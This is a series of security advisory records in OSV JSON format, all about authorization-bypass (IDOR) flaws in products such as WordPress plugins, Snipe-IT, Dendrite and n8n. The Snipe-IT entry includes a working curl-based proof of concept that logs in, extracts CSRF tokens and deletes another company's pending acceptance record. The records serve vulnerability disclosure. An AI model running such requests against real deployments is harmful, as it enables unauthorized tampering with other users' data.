CWE-639

{
  "affected": [],
  "aliases": [
    "CVE-2025-6833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-22T10:15:33Z",
    "severity": "MODERATE"
  },
  "details": "The All in One Time Clock Lite \u2013 Tracking Employee Time Has Never Been Easier plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.0 via the \u0027aio_time_clock_lite_js\u0027 AJAX action due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber access and above, to clock other users in and out.",
  "id": "GHSA-342p-f7r9-8cjx",
  "modified": "2025-10-22T12:31:21Z",
  "published": "2025-10-22T12:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6833"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3336943%40aio-time-clock-lite\u0026new=3336943%40aio-time-clock-lite\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c6c48173-ffe3-40f8-a2fa-cee66869e343?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-16T07:16:47Z",
    "severity": "LOW"
  },
  "details": "The RTMKit WordPress plugin before 2.0.9 does not perform a capability check in one of its AJAX actions and resolves a request-supplied post identifier directly, allowing users with at least the Contributor role to read the titles of other users\u0027 private, draft, pending, scheduled and trashed posts.",
  "id": "GHSA-344h-fqfm-3mrj",
  "modified": "2026-07-16T18:31:29Z",
  "published": "2026-07-16T09:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12906"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/594c3769-b953-4966-836d-a0dc4585fe87"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:google-compute-engine"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-16546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-300",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-06T21:58:57Z",
    "nvd_published_at": "2019-11-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Google Compute Engine Plugin 4.1.1 and earlier does not verify SSH host keys when connecting agents created by the plugin, enabling man-in-the-middle attacks. Google Compute Engine Plugin 4.2.0 verifies SSH host keys before executing any commands on agents.",
  "id": "GHSA-345p-pw5q-g98v",
  "modified": "2022-12-06T21:58:57Z",
  "published": "2022-05-24T17:01:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16546"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-11-21/#SECURITY-1584"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/11/21/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Google Compute Engine Plugin does not verify SSH host keys when connecting agents created by the plugin"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-86489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T17:17:27Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains YouTrack before 2026.2.18634 an IDOR in the user profile API disclosed private issues and starred folders across organizations",
  "id": "GHSA-346h-5p4g-633v",
  "modified": "2026-09-07T18:31:32Z",
  "published": "2026-09-07T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86489"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-55198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T19:18:13Z",
    "severity": "HIGH"
  },
  "details": "Hermes WebUI before 0.51.443 contains an authorization bypass vulnerability in the session export endpoint that allows authenticated users to access sessions from other profiles. The _handle_session_export handler in api/routes.py fails to verify active-profile ownership before serializing session data, enabling attackers to exfiltrate foreign session transcripts by guessing or knowing session identifiers.",
  "id": "GHSA-34j3-4jpj-gx6q",
  "modified": "2026-06-17T21:34:38Z",
  "published": "2026-06-17T21:34:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55198"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nesquena/hermes-webui/pull/3991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nesquena/hermes-webui/pull/4269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nesquena/hermes-webui/commit/2a3baa71b81ca92da8ece8616a09f15894beec71"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nesquena/hermes-webui/releases/tag/v0.51.443"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hermes-webui-cross-profile-session-data-exfiltration-via-session-export-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-19417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T06:17:40Z",
    "severity": "MODERATE"
  },
  "details": "The KiviCare  WordPress plugin before 4.5.4 does not verify that the requesting user is entitled to the media file being served, allowing authenticated patient-level users to download any file in the media library, including other patients\u0027 uploaded medical reports.",
  "id": "GHSA-34m6-mf7c-4crh",
  "modified": "2026-08-19T18:32:45Z",
  "published": "2026-08-19T06:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19417"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/4270b160-cbb8-46b2-853c-927651ca16bf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.6.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55515"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:04:57Z",
    "nvd_published_at": "2026-07-10T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA user with the `reports.view` permission can delete pending checkout acceptance records by global ID, even when the acceptance belongs to an asset in another company.\n\nThe report listing page appears to scope visible unaccepted assets, but the delete endpoint directly looks up CheckoutAcceptance::pending()-\u003efind($acceptanceId) and deletes it without checking whether the current user has access to the related checkoutable asset.\n\n\n### Preconditions\nThe attacker needs:\n- A valid authenticated web session.\n- `reports.view` permission.\n- Knowledge or guessability of a pending `checkout_acceptances.id`.\n\nThe attacker does not need access to the asset/company associated with the target acceptance.\n\n### Root cause\nThe delete action authorizes only report access, then deletes a pending acceptance by global ID:\n\n```php\n\n$this-\u003eauthorize(\u0027reports.view\u0027);\n\n$acceptance = CheckoutAcceptance::pending()-\u003efind($acceptanceId);\n\n$acceptance-\u003edelete();\n```\n\nThe code does not check whether the current user can access the acceptance\u2019s related checkoutable asset/accessory/license/etc.\nIn multi-company mode, this allows a reports user from one company to delete acceptance records belonging to another company.\n\n### Proof of concept\n#### Target acceptance belongs to Company B\n\nThe target pending acceptance was identified as id=1.\n\n```sql\nsnipe_sql \"SELECT ca.id ca.checkoutable_id, ca.deleted_at, a.asset_tag, a.company_id\nFROM checkout_acceptances ca\nJOIN assets a ON a.id = ca.checkoutable_id\nWHERE ca.id=$ACCEPTANCE_B_ID;\"\n```\nObserved result:\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": null,\n    \"asset_tag\": \"LAB-B-42445107\",\n    \"company_id\": 3\n}\n```\n\nThis shows the pending acceptance belongs to asset 2, which is in Company B.\n\n#### Attacker user belongs to Company A\nThe attacker account was reporter_a, assigned to Company A with only report viewing permission:\n\n```json\n{\n    \"id\": 3,\n    \"username\": \"reporter_a\",\n    \"company_id\": 2,\n    \"permissions\": {\n        \"reports.view\": 1\n    }\n}\n```\n\nLogin as Company A reports user\n\n```curl\ncurl -sS -c /tmp/snipe_cookie.txt \"$BASE/login\" -o /tmp/snipe_login.html\n\nLOGIN_CSRF=$(grep -oP \u0027name=\"_token\" value=\"\\K[^\"]+\u0027 /tmp/snipe_login.html)\n\ncurl -sS -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/login\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$LOGIN_CSRF\" \\\n  --data-urlencode \"username=reporter_a\" \\\n  --data-urlencode \"password=password\"\n```\n\n**Observed response:**\n\n```HTTP/1.1 302 Found\nLocation: http://localhost:8000/\n```\n\nFetch report CSRF token\n\n```curl\ncurl -sS -L -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  \"$BASE/reports/unaccepted_assets\" \\\n  -o /tmp/unaccepted.html \\\n  -w \"\\nHTTP=%{http_code} URL=%{url_effective}\\n\"\n\n\nCSRF=$(grep -oP \u0027name=\"csrf-token\" content=\"\\K[^\"]+\u0027 /tmp/unaccepted.html)\n\necho \"CSRF=$CSRF\"\n```\n\n**Observed result:**\n\n```\nHTTP=200 URL=http://localhost:8000/reports/unaccepted_assets\nCSRF=aRwAVRk5sPLdl7Pbw8vCQJRXN9vTqxVilkgH8JkU\n```\n\n**Delete Company B acceptance as Company A reporter**\n\n```curl\ncurl -i -b /tmp/snipe_cookie.txt -c /tmp/snipe_cookie.txt \\\n  -X POST \"$BASE/reports/unaccepted_assets/$ACCEPTANCE_B_ID/delete\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \"_token=$CSRF\" \\\n  --data-urlencode \"_method=DELETE\"\n```\n\n**Observed response:**\n```\nHTTP/1.1 302 Found\nLocation: http://localhost:8000/reports/unaccepted_assets\n```\n\n**Final state**\n```sql \nsnipe_sql \"SELECT id, checkoutable_id, deleted_at\nFROM checkout_acceptances\nWHERE id=$ACCEPTANCE_B_ID;\"\n```\n\n**Observed result:**\n\n```json\n{\n    \"id\": 1,\n    \"checkoutable_id\": 2,\n    \"deleted_at\": \"2026-06-12 04:30:00\"\n}\n```\n\nThis confirms that reporter_a from Company A deleted a pending acceptance for Company B\u2019s asset.\n\n### Security impact\nThis is a cross-company authorization bypass affecting checkout acceptance integrity.\nAn attacker with report access can:\n\n- Delete pending acceptance records for assets they cannot access.\n- Suppress evidence that a user has not accepted custody or terms.\n- Interfere with asset handoff/compliance workflows.\n- Tamper with another company\u2019s pending acceptance queue.\n\nThis is not intended functionality because the application should enforce company scope on destructive actions, not only on report display.",
  "id": "GHSA-35cr-9hqq-p2mg",
  "modified": "2026-08-28T18:04:57Z",
  "published": "2026-08-28T18:04:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-35cr-9hqq-p2mg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55515"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/commit/802067f3987a4b65bfc2efe60e22e07c24e01e6a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grokability/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/releases/tag/v8.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-38050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T11:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "A BOLA vulnerability in GET, PUT, DELETE /webhooks/{webhookId} allows a low privileged user to fetch, modify or delete a webhook of any user (including admin). This results in unauthorized access and unauthorized data manipulation.",
  "id": "GHSA-35h6-j94c-7hrg",
  "modified": "2024-07-09T12:30:56Z",
  "published": "2024-07-09T12:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38050"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-63095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:16Z",
    "severity": "HIGH"
  },
  "details": "Dendrite through 0.13.8 contains an improper authorization vulnerability in the Matrix Client-Server API that allows any authenticated local user to delete third-party identifier bindings belonging to other users by submitting an arbitrary address and medium to the account deletion endpoint without ownership verification. Attackers can exploit the unverified Forget3PID handler to remove a victim\u0027s email or MSISDN binding and subsequently rebind the address through an identity server to hijack the victim\u0027s password reset flow.",
  "id": "GHSA-35h8-2q42-v6f5",
  "modified": "2026-07-17T18:31:25Z",
  "published": "2026-07-17T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/dendrite.md#finding-1-idor-in-post-account3piddelete-allows-any-authenticated-user-to-remove-any-other-users-third-party-identifier"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dendrite-improper-authorization-via-post-account-3pid-delete-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.0"
            },
            {
              "fixed": "2.29.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:04:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\nn8n\u0027s Enterprise SSO instance-role provisioning maps a role claim asserted by the configured Identity Provider (IdP) to an n8n global role and applies it during authentication. The provisioning path did not prevent assignment of the `global:owner` role, unlike the token-exchange identity path, which explicitly rejects it. As a result, an SSO-authenticated user whose instance-role claim resolves to `global:owner` is provisioned as an instance owner, obtaining full administrative control over all workflows, credentials, users, and instance configuration.\n\nThis is a privilege-escalation issue that is exploitable only under specific conditions. It affects instances where Enterprise SSO is configured and instance-role provisioning is enabled via the `N8N_SSO_SCOPES_PROVISION_INSTANCE_ROLE` flag, which is disabled by default. Exploitation additionally requires the attacker to control the value of the instance-role claim issued by the IdP. As this claim is typically an administrator-managed attribute, exploitation generally requires control over the IdP or its claim-to-role mapping, or a permissive IdP configuration in which a lower-privileged user can influence the claim value. Deployments that do not use Enterprise SSO, or that have instance-role provisioning disabled, are not affected.\n\n## Patches\nThe issue has been fixed in n8n versions 1.123.64, 2.29.8, and 2.30.1. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Disable instance-role provisioning by unsetting or setting `N8N_SSO_SCOPES_PROVISION_INSTANCE_ROLE=false`.\n- Audit IdP claim mappings to ensure no user-controllable attribute can supply the instance-role claim value.\n- Restrict SSO access to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-35q8-9mj6-wjmf",
  "modified": "2026-07-22T22:04:04Z",
  "published": "2026-07-22T22:04:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-35q8-9mj6-wjmf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65016"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.64"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.29.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.30.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/n8n-before-privilege-escalation-via-sso-instance-role"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: SSO Instance-Role Provisioning Allows Privilege Escalation to Instance Owner"
}